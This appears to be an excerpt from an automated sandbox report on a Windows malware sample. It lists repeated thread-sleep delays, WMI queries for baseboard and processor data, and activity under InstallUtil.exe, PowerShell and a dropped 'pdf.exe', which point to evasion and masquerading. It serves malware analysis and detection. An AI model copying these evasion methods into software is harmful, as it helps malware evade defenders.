Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe TID: 7548	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3888	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7280	Thread sleep count: 2599 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7280	Thread sleep count: 7226 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -97071s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96905s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96775s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96559s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96452s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96125s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -96016s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -95110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94355s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94237s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -94092s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -93969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7268	Thread sleep time: -93844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe TID: 5692	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe TID: 2412	Thread sleep count: 271 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep count: 31 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5140	Thread sleep count: 2852 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5140	Thread sleep count: 6998 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99543s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -99000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98890s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98778s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98344s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98234s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -98016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -97078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96421s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96313s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -96063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95938s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95594s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95266s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -95047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -94937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -94828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -94719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -94594s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2696	Thread sleep time: -94484s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\pdf.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\pdf.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97071	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96775	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96559	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94355	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94237	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94092	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95047
